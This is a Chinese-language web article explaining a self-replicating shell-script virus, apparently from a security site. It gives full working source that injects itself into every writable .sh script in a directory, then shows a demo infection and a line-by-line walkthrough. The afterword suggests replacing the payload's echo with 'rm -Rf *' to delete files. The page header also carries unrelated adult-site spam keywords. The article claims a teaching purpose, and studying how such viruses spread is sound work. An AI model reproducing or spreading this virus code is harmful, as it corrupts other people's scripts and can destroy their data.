亚洲成精品动漫久久精久,九九在线精品视频播放,黄色成人免费观看,三级成人影院,久碰久,四虎成人欧美精品在永久在线

掃一掃
關(guān)注微信公眾號

Linux操作系統(tǒng)下Shell病毒詳細(xì)介紹
2007-02-07   

說起病毒總有點神秘的味道,想起以前用匯編編寫第一個dos病毒時是那么的痛苦從開始有設(shè)想到完成花了3個多月,而且寫的也是亂七八糟,最近突發(fā)奇想不就是感染其他文件,傳播自己嗎,用shell寫一個病毒且不是非常簡單,于是順手寫了如下這么一個小腳本,功能就是感染其他shell程序。

這個程序在現(xiàn)實意義不大,但對于形象的理解病毒傳播機(jī)制還是很很有幫助,可以算教學(xué)意義大于實際意義吧。

SHELL病毒簡介

1.前言

說起病毒總有點神秘的味道,想起以前用匯編編寫第一個dos病毒時是那么的痛苦從開始有設(shè)想到完成花了3個多月,而且寫的也是亂七八糟,最近突發(fā)奇想不就是感染其他文件,傳播自己嗎,用shell寫一個病毒且不是非常簡單,于是順手寫了如下這么一個小腳本,功能就是感染其他shell程序。

這個程序在現(xiàn)實意義不大,但對于形象的理解病毒傳播機(jī)制還是很很有幫助,可以算教學(xué)意義大于實際意義吧。

2.程序代碼

#!/bin/sh
#文件名:virus_demo.sh
#用途:shell病毒演示。
#說明:病毒將感染當(dāng)前目錄下的所有.sh結(jié)尾的文件,但不會重復(fù)感染。
#編寫:watercloud@xfocus.org
#日期:2003-5-13

#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep '<+!a%C&t:>' $f ; then continue; fi 
if sed -n '1p' $f | grep 'csh'; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo 

echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 
#EOF

看shell是多么得強(qiáng)大,這么短短得程序就能感染其他程序文件。

3.演示

測試一下:

先在當(dāng)前目錄放兩個文件,一個病毒文件,一個用來作被感染測試用。

[cloud@ /export/home/cloud/vir]> ls -l 
drwxr-xr-x 2 cloud staff 512 6?? 4 17:43 ./ 
drwxr-xr-x 10 cloud staff 1024 6?? 4 17:41 ../ 
-rwxr--r-- 1 cloud staff 89 6?? 4 17:43 test.sh 
-rwxr--r-- 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

來看看我們這個“肉雞”腳本,很簡單:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1 

ls -l 

#EOF

好了開始感染他。

[cloud@ /export/home/cloud/vir]> ./virus_demo.sh 
Hi, here is a demo shell virus in your script !

來看看感染后的結(jié)果:

[cloud@ /export/home/cloud/vir]> cat test.sh 
#!/bin/sh 
# Just a demo for virus test 
# Author : foo 
# Date : 3000-1-1 

#B:<+!a%C&t:> 
vFile=$_ ; vTmp=/tmp/.vTmp.$$ 
for f in ./*.sh; do 
if [ ! -w $f -a ! -r $vFile ]; then continue; fi 
if grep '<+!a%C&t:>' $f ; then continue; fi 
if sed -n '1p' $f | grep 'csh'; then continue; fi 
cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi 
vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp` 
sed -n "1,${vNo}p" $vTmp >$f 
(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f 
vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f 
rm -f $vTmp 
done >/dev/null 2>&1 
unset vTmp ;unset vFile ;unset vNo 

echo "Hi, here is a demo shell virus in your script !" 
#E:<+!a%C&t:> 

ls -l 

#EOF

看,病毒體:

#B:<+!a%C&t:> . . . . 
#E:<+!a%C&t:>

被拷貝過來了,這樣病毒就被傳播了。值得注意的是病毒體插入的位置是在源test.sh的有效程序行的開始處!這主要考慮到一般shell程序大家都喜歡在程序開始處作注釋說明,你好歹不能把別人的注釋信息給放到后面去,那也太明顯了吧。

來執(zhí)行看看我們新的病毒體看看:

[cloud@ /export/home/cloud/vir]> ./test.sh 
Hi, here is a demo shell virus in your script ! <-- 看,病毒體內(nèi)部的打印信息。 

-rwxr-xr-x 1 cloud staff 724 6?? 4 17:44 test.sh 
-rwxr-xr-x 1 cloud staff 773 6?? 4 17:42 virus_demo.sh

4. 簡單講解

我們來一步步分析一下這個病毒:#B:<+!a%C&t:>病毒體開始標(biāo)記,用于程序復(fù)制自己定位用。vFile=$_ ; vTmp=/tmp/.vTmp.$$定義兩個變量,一個臨時文件,一個記錄當(dāng)前程序名稱$_,這也就要求我們必須把這行作為程序有效行的第一行,如果放后頭我們就無法得到當(dāng)前程序名稱,后面就找不到從哪里去找病毒體來拷貝了。

for f in ./*.sh; do

開始循環(huán),找到當(dāng)前目錄下的所有.sh結(jié)尾的程序。

if [ ! -w $f -a ! -r $vFile ]; then continue; fi

目標(biāo)是否有寫權(quán)限,病毒源文件是否有讀權(quán)限。

if grep '<+!a%C&t:>' $f ; then continue; fi

目標(biāo)是否已經(jīng)中毒很深無藥可救了,如果是這樣還給他再來一次也太不仁義了吧?

if sed -n '1p' $f | grep 'csh'; then continue; fi

如果目標(biāo)shell是以csh的那語法上差異太大了,放棄吧。

cp -f $f $vTmp ;if [ $? -ne 0 ];then continue; fi

好了準(zhǔn)備感染,先把目標(biāo)拷貝一個備份,拷貝失敗了怎么辦?當(dāng)然只好放棄了。

vNo=`awk '$0~/(^\b*#)|(^\b*$)/&&v==NR-1{v++}END{print 0+v}' $vTmp`

這是干嘛?好像挺復(fù)雜,不過學(xué)shell病毒不了解awk和正規(guī)表達(dá)式好像有點說不過去吧,這個就是找到程序開始的注釋和空白行有多少,好方便我們確定病毒體插入點。

sed -n "1,${vNo}p" $vTmp >$f

一個sed命令把目標(biāo)文件的開始注釋部分從備份文件中copy回來。

(sed -n '/^#B:<+!a%C&t:>/,/^#E:<+!a%C&t:>/p' $vFile ;echo ) >>$f

再來一個sed完成搬運(yùn)病毒體的工作。

vNo=`expr $vNo + 1` 
sed -n "${vNo},\$p" $vTmp >>$f

最后一個sed把目標(biāo)文件的其他部分搬回來,sed真強(qiáng)大呀??!

rm -f $vTmp

清理一下臨時文件。

done >/dev/null 2>&1

循環(huán)結(jié)束。

unset vTmp ;unset vFile ;unset vNo

清理一下犯罪現(xiàn)場。

echo "Hi, here is a demo shell virus in your script !"

都感染了好歹也要顯示點東西以告訴別人這是個被病毒感染過的程序吧。

#E:<+!a%C&t:>

病毒體結(jié)束標(biāo)記,用于程序復(fù)制自己定位用。

5.后記

從中我們可以看到腳本病毒非常簡單,不需要很多知識就能寫一個,而且病毒破壞力也是不可小視比如我們的程序里把echo信息改為rm -Rf * ;同時反方面也展示了shell的強(qiáng)大之處,試想傳統(tǒng)的程序光是處理PE文件結(jié)構(gòu)和ELF結(jié)構(gòu)就得花多少功夫。

上面得程序已經(jīng)在Linux和Solaris上測試通過,Windows上得用戶在Cygwin上應(yīng)該也行。

順便再強(qiáng)調(diào)一次,寫這篇文章得目的是和大家分享一下對病毒得理解,而不是教寫病毒出去害人,切記切記!


熱詞搜索:

上一篇:系統(tǒng)安全之淺談Linux后門技術(shù)及實踐
下一篇:Windows 2000絕版安全(初、中、高級)

分享到: 收藏